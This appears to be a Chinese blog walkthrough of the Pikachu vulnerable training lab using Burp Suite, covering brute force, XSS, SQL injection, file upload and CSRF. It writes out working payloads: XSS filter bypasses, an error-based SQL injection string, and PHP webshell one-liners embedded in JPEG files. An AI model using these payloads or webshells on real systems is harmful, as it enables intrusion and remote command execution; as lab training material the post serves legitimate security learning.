news 2026/5/1 14:59:07

新手必看:用Burp Suite通关Pikachu靶场的完整实战笔记(附详细步骤截图)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
新手必看:用Burp Suite通关Pikachu靶场的完整实战笔记(附详细步骤截图)

新手必看:用Burp Suite通关Pikachu靶场的完整实战笔记(附详细步骤截图)

1. 环境准备与工具配置

工欲善其事,必先利其器。在开始Pikachu靶场实战前,我们需要确保Burp Suite和靶场环境正确配置。这里我分享几个容易踩坑的配置细节:

Burp Suite基础配置

  1. 代理设置:Chrome浏览器需安装SwitchyOmega插件,配置127.0.0.1:8080代理端口。常见错误是忘记关闭系统代理或防火墙拦截。
  2. 证书安装:访问http://burp下载CA证书,在浏览器"证书管理器"中导入并信任。Mac用户需额外执行钥匙串访问的证书信任设置。
  3. 内存优化:在BurpSuite.vmoptions中修改-Xmx参数(建议4G以上),避免扫描时内存溢出。

提示:首次运行时建议关闭Burp的自动更新检查,在User options - Misc中取消勾选"Check for updates"

Pikachu靶场搭建技巧

  • 使用Docker快速部署:docker run -d -p 80:80 area39/pikachu
  • 本地PHP环境常见问题解决:
    # 解决MySQL连接错误 sudo chmod 755 /var/lib/mysql # 修改config.inc.php中的数据库配置 $dbuser = 'root'; $dbpass = 'root';

2. 暴力破解实战详解

2.1 表单爆破的智能技巧

传统爆破教程往往直接扔给你一个密码字典,但实战中更需要策略。以登录表单为例:

  1. 精准定位参数:用Burp抓包后,在Proxy - HTTP history右键发送到Intruder
  2. 变量设置艺术
    • 清除默认变量(点击"Clear §")
    • 仅对密码字段设置变量(§password§)
    • Payloads标签加载rockyou.txt精简版字典

线程控制对照表

场景推荐线程数注意事项
普通表单10-20观察响应时间调整
Token验证1必须勾选"Follow redirects"
验证码防护3-5配合Repeater测试重用性

2.2 验证码绕过实战记录

在"验证码绕过(on server)"关卡,我发现一个有趣现象:

POST /pikachu/vul/burteforce/bf_server.php HTTP/1.1 ... username=test&password=123&vcode=ABCD

通过Repeater重放10次请求后,发现只要不刷新页面,同一验证码可无限使用。这暴露出服务端未做会话绑定的缺陷。

注意:现代系统多采用一次性token+验证码组合防护,单纯验证码已不够安全

3. XSS攻击的七十二变

3.1 突破前端限制的三种姿势

当遇到<input maxlength="20">限制时,不要急着改HTML源码:

  1. 浏览器控制台突破
    document.querySelector('input').removeAttribute('maxlength')
  2. Burp拦截修改:在Proxy拦截请求时直接修改POST参数
  3. 外部提交攻击:用Python requests库绕过前端验证

3.2 DOM型XSS的狩猎过程

在测试DOM型XSS时,我习惯先用以下payload逐步测试:

  1. '"><img src=x onerror=console.log(1)>
  2. javascript:alert(document.domain)
  3. data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

XSS过滤绕过对照表

过滤规则绕过方案适用场景
大小写敏感<ScRipt>alert(1)</sCRipt>简单正则过滤
关键词替换<img src=1 onerror=alert(1)>替换script标签
HTML实体编码&lt;script&gt;→ 使用JS事件输出在属性内

4. SQL注入的降维打击

4.1 报错注入的实战技巧

在"insert/update注入"关卡,常规payload可能被拦截。这时可以采用:

admin' and (select 1 from (select count(*),concat(0x3a,(select database()),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

关键点解析

  • 利用floor(rand(0)*2)产生重复值触发报错
  • 0x3a是冒号的16进制,作为分隔符
  • 子查询嵌套避免关键词检测

4.2 盲注的自动化实战

与其手动测试布尔盲注,不如用Burp的Intruder实现自动化:

  1. 设置cluster bomb攻击类型
  2. Payload set 1:ascii(substr(database(),§1§,1))>§2§
  3. Payload set 2:数字1-30(长度探测)
  4. Payload set 3:ASCII码范围(32-126)

Grep - Extract中添加exists关键词过滤,通过响应差异判断结果。

5. 文件上传的奇技淫巧

5.1 绕过前端检测的三重奏

  1. 修改Content-Type
    Content-Type: image/jpeg
  2. 文件幻数欺骗:在PHP马开头添加GIF89a
  3. 双扩展名攻击shell.php.jpg

5.2 图片马制作指南

用Linux命令制作免杀图片马:

echo '<?php system($_GET["cmd"]); ?>' >> normal.jpg exiftool -Comment='<?php system($_REQUEST["x"]); ?>' test.jpg

在蚁剑连接时,遇到中文路径问题可以用URL编码解决:

http://target.com/upload/测试.php → .../%E6%B5%8B%E8%AF%95.php

6. CSRF防御与突破

6.1 Token防护的自动化破解

使用CSRF Token Tracker插件时,配置策略要注意:

  1. Session handling rules添加新规则
  2. Scope设置为目标域名
  3. Macros中添加获取token的请求链
  4. 测试时勾选Update CSRF token

Token位置探测技巧

  • 查看页面源码中的meta标签
  • 检查AJAX响应中的JSON字段
  • 监控Cookie变化

7. 靶场实战中的调试艺术

7.1 Burp Logger的妙用

Project options - Misc启用Logger后,可以:

  1. 过滤500 Internal Server Error快速定位注入点
  2. 搜索error关键词发现隐藏报错信息
  3. 导出日志用Python分析攻击模式
import json with open('burp_log.json') as f: logs = json.load(f) for log in logs: if 'sql' in log['response'].lower(): print(log['url'])

7.2 高效排错四步法

  1. 原始请求:用Repeater发送原始正常请求
  2. 逐步污染:每次只修改一个参数值
  3. 差异对比:使用Diff功能比较响应
  4. 模式识别:记录服务器错误模式规律

在测试"宽字节注入"时,发现服务器对%27%df%27的响应差异暴露了过滤逻辑。这种细微差别往往藏在响应头或注释里,需要耐心比对。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/1 14:58:18

终极指南:5分钟让Axure RP说中文,告别英文界面困扰

终极指南&#xff1a;5分钟让Axure RP说中文&#xff0c;告别英文界面困扰 【免费下载链接】axure-cn Chinese language file for Axure RP. Axure RP 简体中文语言包。支持 Axure 11、10、9。不定期更新。 项目地址: https://gitcode.com/gh_mirrors/ax/axure-cn 你是否…

作者头像 李华
网站建设 2026/5/1 14:54:22

从OBS插件到采集卡:聊聊那些伪装成‘正经软件’的AI自瞄,以及反作弊如何‘抓鬼’

从OBS插件到采集卡&#xff1a;AI自瞄的伪装艺术与反作弊攻防实战 在FPS游戏的竞技生态中&#xff0c;作弊与反作弊的对抗从未停止。当传统的内存修改类外挂逐渐被反作弊系统精准识别&#xff0c;作弊者开始转向更隐蔽的技术路线——利用合法软件的外壳和硬件设备的中立属性&am…

作者头像 李华
网站建设 2026/5/1 14:50:24

2026届最火的五大AI学术网站实际效果

Ai论文网站排名&#xff08;开题报告、文献综述、降aigc率、降重综合对比&#xff09; TOP1. 千笔AI TOP2. aipasspaper TOP3. 清北论文 TOP4. 豆包 TOP5. kimi TOP6. deepseek 撰写学术论文之际&#xff0c;恰当选用 AI 工具能够明显提升文献检索效率&#xff0c;还能显…

作者头像 李华
网站建设 2026/5/1 14:46:22

全国淘宝村 DID 面板数据(2008-2024)|数字乡村 / 乡村振兴顶刊标配

《世界经济》《中国人口科学》同款准自然实验&#xff01; 全国村级全覆盖、现成 DID 政策变量&#xff0c;直接跑双重差分、事件研究、动态效应&#xff0c;做农村电商、数字乡村、共同富裕最快出成果&#xff01;&#x1f4ca; 数据核心速览数据编号&#xff1a;2198时间跨度…

作者头像 李华
网站建设 2026/5/1 14:43:56

Rent My Browser:构建AI浏览器租赁市场的开源实践

1. 项目概述&#xff1a;一个让AI租用真实浏览器的市场最近在折腾AI智能体&#xff08;Agent&#xff09;相关的项目&#xff0c;发现一个挺有意思的痛点&#xff1a;很多AI模型或自动化脚本&#xff0c;在处理需要真实浏览器环境&#xff08;比如登录、绕过反爬、执行复杂交互…

作者头像 李华